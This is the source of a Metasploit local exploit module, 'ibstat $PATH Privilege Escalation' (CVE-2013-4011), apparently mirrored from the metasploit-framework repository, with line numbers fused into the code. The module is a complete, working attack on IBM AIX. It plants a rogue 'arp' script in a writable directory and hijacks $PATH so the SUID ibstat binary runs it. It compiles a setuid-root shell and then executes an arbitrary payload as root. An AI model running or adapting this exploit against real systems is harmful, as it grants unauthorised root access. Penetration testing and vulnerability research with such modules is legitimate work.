Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/aix/local/ibstat_path.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ibstat $PATH Privilege Escalation',17'Description' => %q{18This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".19},20'Author' => [21'Kristian Erik Hermansen', # original author22'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module23'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module24],25'References' => [26['CVE', '2013-4011'],27['OSVDB', '95420'],28['BID', '61287'],29['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],30['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']31],32'Platform' => %w[unix aix],33'Arch' => ARCH_CMD,34'Payload' => {35'Compat' => {36'PayloadType' => 'cmd',37'RequiredCmd' => 'perl'38}39},40'SessionTypes' => %w[shell],41'Targets' => [42['IBM AIX Version 6.1', {}],43['IBM AIX Version 7.1', {}]44],45'DefaultTarget' => 1,46'DisclosureDate' => '2013-09-24',47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION],50'SideEffects' => [ARTIFACTS_ON_DISK]51}52)53)5455register_options([56OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])57])58register_advanced_options([59OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])60])61end6263def ibstat_path64datastore['IBSTAT_PATH']65end6667def check68find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')6970return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')7172CheckCode::Appears("#{ibstat_path} is set-uid root")73end7475def exploit76root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"77arp_file = "#{datastore['WritableDir']}/arp"78c_file = %^#include <stdio.h>7980int main()81{82setreuid(0,0);83setregid(0,0);84execve("/bin/sh",NULL,NULL);85return 0;86}87^88arp = %(#!/bin/sh8990chown root #{root_file}91chmod 4555 #{root_file}92)9394if gcc_installed?95print_status("Dropping file #{root_file}.c...")96write_file("#{root_file}.c", c_file)9798print_status('Compiling source...')99cmd_exec("gcc -o #{root_file} #{root_file}.c")100print_status('Compilation completed')101102register_file_for_cleanup("#{root_file}.c")103else104cmd_exec("cp /bin/sh #{root_file}")105end106107register_file_for_cleanup(root_file)108109print_status('Writing custom arp file...')110write_file(arp_file, arp)111register_file_for_cleanup(arp_file)112cmd_exec("chmod 0555 #{arp_file}")113print_status('Custom arp file written')114115print_status('Updating $PATH environment variable...')116path_env = cmd_exec('echo $PATH')117cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")118cmd_exec('export PATH')119120print_status('Finding interface name...')121iface = ''122cmd_exec('lsdev -Cc if').each_line do |line|123next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)124125iface = line.split(/\s+/)[0]126print_status("Found interface #{iface}.")127break128end129130if iface == ''131iface = 'en0'132print_status('Found no interface, defaulting to en0.')133end134135print_status('Triggering vulnerablity...')136cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")137138# The $PATH variable must be restored before the payload is executed139# in cases where an euid root shell was gained140print_status('Restoring $PATH environment variable...')141cmd_exec("PATH=#{path_env}")142cmd_exec('export PATH')143144cmd_exec(root_file)145print_status('Checking root privileges...')146147if is_root?148print_status('Executing payload...')149cmd_exec(payload.encoded)150end151end152153def gcc_installed?154print_status('Checking if gcc exists...')155gcc_whereis_output = cmd_exec('whereis -b gcc')156157if gcc_whereis_output.to_s.include?('/')158print_good('gcc found!')159return true160end161162print_status('gcc not found. Using /bin/sh from local system')163false164end165166def is_root?167id_output = cmd_exec('id')168169if id_output.include?('euid=0(root)')170print_good('Got root! (euid)')171return true172end173174if id_output.include?('uid=0(root)')175print_good('Got root!')176return true177end178179print_error('Exploit failed')180false181end182end183184185